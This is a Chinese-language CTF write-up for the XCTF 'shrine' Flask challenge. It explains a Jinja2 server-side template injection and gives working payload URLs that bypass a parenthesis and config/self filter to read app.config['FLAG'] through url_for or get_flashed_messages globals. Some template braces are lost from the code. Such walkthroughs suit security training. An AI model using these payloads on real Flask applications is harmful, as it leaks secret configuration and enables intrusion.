XCTF-攻防世界CTF平台-Web类——16shrine(Flask框架之Jinja2模板渲染引擎查看app.config[‘FLAG‘])

Posted 大灬白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTF-攻防世界CTF平台-Web类——16shrine(Flask框架之Jinja2模板渲染引擎查看app.config[‘FLAG‘])相关的知识,希望对你有一定的参考价值。

打开题目地址:

这是Python的flask渲染模板

python模板注入

python模板注入漏洞的产生在于Flask应用框架中render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,而且Flask模板中使用了Jinja2作为模板渲染引擎,在Jinja2中作为变量包裹标识符,在渲染的时候将包裹的内容作为变量解析替换,比如1+1会被解析成2。
源代码:

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['% set =None%'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

代码分析:

app = flask.Flask(__name__)

用当前模块的路径初始化app,__name__是系统变量即程序主模块或者包的名字,该变量指的是本py文件的文件名。

app.config['FLAG'] = os.environ.pop('FLAG')

Flask提供了很多种方式来加载配置。比如,你可以像在字典中添加一个键值对一样来设置一个配置:app.config[‘FLAG’]就是当前app下一个变量名为’FLAG’的配置,它的值等于os.environ.pop(‘FLAG’)移除环境变量中的键名为’FLAG’的值。

@app.route('/')
def index():
    return open(__file__).read()

访问http://111.200.241.244:62038/,则执行index()函数打开当前文件,读取文件内容,返回文件源码

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        #黑名单
        blacklist = ['config', 'self']
        return ''.join(['% set =None%'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))

访问http://111.200.241.244:62038/shrine/,则调用flask.render_template_string函数返回渲染模板字符串safe_jinja(shrine);

之后shrine(shrine)函数、safe_jinja(s)函数:先去掉s字符串变量中的“(”和“)”左右括号,之后

''.join(['% set =None%'.format(c) for c in blacklist])

这句代码的意思就是:

for c in blacklist:
	'% set =None%'.format(c)

我们可以执行一下代码看一下它的作用:

blacklist = ['config', 'self']
for c in blacklist:
	print('% set =None%'.format(c))

blacklist = ['config', 'self']
print(''.join(['% set =None%'.format(c) for c in blacklist]))

我们就可以发现这一行代码的作用就是返回% set config=None%% set self=None%字符串,给flask.render_template_string函数经过渲染将config、self参数的值设为None,之后返回浏览器显示。

构造Python模板注入

访问shrine路径下,构造Python模板注入:

http://111.200.241.244:63403/shrine/1+1

可以看到是存在Python模板注入漏洞的
之后查看config、self配置:
http://111.200.241.244:63403/shrine/config
http://111.200.241.244:63403/shrine/self

可以看到和我们开始分析的代码逻辑一致,config、self参数的值已经被设为None了
但是我们依旧可以利用其他Python内置函数,但要注意“()”被过滤了,带“()”的函数都无法执行。
Python中常用于ssti的魔术方法
__class__:返回类型所属的对象
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__:返回该对象所继承的基类// __base__和__mro__都是用来寻找基类的
__subclasses__:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__:类的初始化方法
__globals__:对包含函数全局变量的字典的引用
__builtins__:builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。
在Flask框架渲染模板时,可以直接在模板中使用的模板变量及函数:config、request、url_for()、get_flashed_messages()。

例如查看所有基类:

http://111.200.241.244:63403/shrine/''.__class__.__mro__

查看所有基本类的子类:

http://111.200.241.244:54842/shrine/[].__class__.__base__.__subclasses__()

带有括号所以执行.__subclasses__()函数失败

再看源代码,这道题的关键在于:

app.config['FLAG'] = os.environ.pop('FLAG')

我们在这道题中的目的是读取配置文件中变量名为’FLAG’的值,也就是环境变量中的键名为’FLAG’的值,但是config、self参数的值设为None,无法直接查看

url_for()函数查看flag

我们可以使用flask框架的url_for函数:from flask import url_for。
url_for()作用:
(1)给指定的函数构造 URL。
(2)访问静态文件(CSS、javascript等)。只要在你的包中或是模块的所在目录中创建一个名为static的文件夹,在应用中使用 /static即可访问。
所以我们可以用url_for函数来查看当前包中所有的静态文件,其中肯定就包括了配置文件。
先查看url_for函数的全局变量的字典的引用:

http://111.200.241.244:54842/shrine/url_for.__globals__

其中’current_app’: <Flask ‘app’>键值对,current_app意思应该是当前app,也可以直接查看当前’current_app’的值:

http://111.200.241.244:54842/shrine/url_for.__globals__['current_app']

当前’current_app’的值就是<Flask ‘app’>
而我们的目的就是读取app.config[‘FLAG’],那我们就可以查看当前app下的所有配置键值对即配置变量名及其对应的值:

http://111.200.241.244:54842/shrine/url_for.__globals__['current_app'].config

可以看到配置变量’FLAG’对应的值是flagshrine_is_good_ssti。
也可以直接查看配置变量’FLAG’的值:

http://111.200.241.244:54434/shrine/url_for.__globals__['current_app'].config['FLAG']

得到flagshrine_is_good_ssti

get_flashed_messages()函数查看flag

  返回之前在Flask中通过flash()函数传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages()方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
  flask闪现是基于flask内置的session的,利用浏览器的session缓存闪现信息。之前的每次flash()函数都会缓存一个信息,之后再通过get_flashed_messages()函数访问缓存的信息。
  flash()函数有三种形式缓存数据:
(1)缓存字符串内容。
设置闪现内容:flash(‘恭喜您登录成功’)
模板取出闪现内容:% with messages = get_flashed_messages() %
(2)缓存默认键值对。当闪现一个消息时,是可以提供一个分类的。未指定分类时默认的分类为 ‘message’ 。
设置闪现内容:flash(‘恭喜您登录成功’,“status”)
模板取出闪现内容:% with messages = get_flashed_messages(with_categories=true) %
(3)缓存自定义键值对。
设置闪现内容:flash(‘您的账户名为admin’,“username”)
模板取出闪现内容:% with messages = get_flashed_messages(category_filter=[“username”])
所以我们可以通过get_flashed_messages()来获取所有缓存的闪现内容:

http://111.200.241.244:54434/shrine/get_flashed_messages.__globals__

也可以查看到当前app的值
之后就是跟之前类似的
查看当前app的值:

http://111.200.241.244:54434/shrine/get_flashed_messages.__globals__['current_app']

那我们就可以查看当前app下的所有配置键值对即配置变量名及其对应的值:

http://111.200.241.244:54434/shrine/get_flashed_messages.__globals__['current_app'].config

也可以直接查看配置变量’FLAG’的值:

http://111.200.241.244:54434/shrine/url_for.__globals__['current_app'].config['FLAG']

得到flagshrine_is_good_ssti

以上是关于XCTF-攻防世界CTF平台-Web类——16shrine(Flask框架之Jinja2模板渲染引擎查看app.config[‘FLAG‘])的主要内容,如果未能解决你的问题,请参考以下文章

XCTF-攻防世界CTF平台-Web类——16shrine(Flask框架之Jinja2模板渲染引擎查看app.config[‘FLAG‘])

XCTF-攻防世界CTF平台-Web类——1baby_web

XCTF-攻防世界CTF平台-Web类——14supersqli

XCTF-攻防世界CTF平台-Web类——6warmup

XCTF-攻防世界CTF平台-Web类——7NewsCenter

XCTF-攻防世界CTF平台-Web类——13Web_php_unserialize